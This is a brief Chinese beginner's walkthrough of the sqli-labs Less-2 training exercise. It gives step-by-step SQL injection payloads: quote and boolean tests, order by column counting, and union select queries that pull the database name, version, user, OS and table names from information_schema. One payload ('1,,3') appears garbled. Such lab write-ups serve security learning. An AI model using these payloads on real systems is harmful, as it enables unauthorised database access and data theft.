sqli-labs练习（Less-2） – 作者:犹豫就会败北

菜鸟练习笔记，大牛请绕道~~~

1）判断注入

查询?id=1，返回正常

加单引号’，返回错误

查询 and 1=1

返回正常

查询 and 1=2

返回错误

可猜测存在SQL注入

2）判断字段

order by 3  ：正常

order by 4  ：报错

可猜测长度为3

3）猜测报错的地方

and 1=2 union select 1,,3 from information_schema.tables

在2的报错基础上报基本信息

database():数据库名

version():数据库版本

user():数据库用户

@@version_compile_os:操作系统

union select 1,user(),3

在猜测出数据库名后，猜测表名

union select 1,group_concat(table_name),3 from information_schema.tables
where table_schema=十六进制的数据库名

来源：freebuf.com 2021-01-30 02:09:14 by: 犹豫就会败北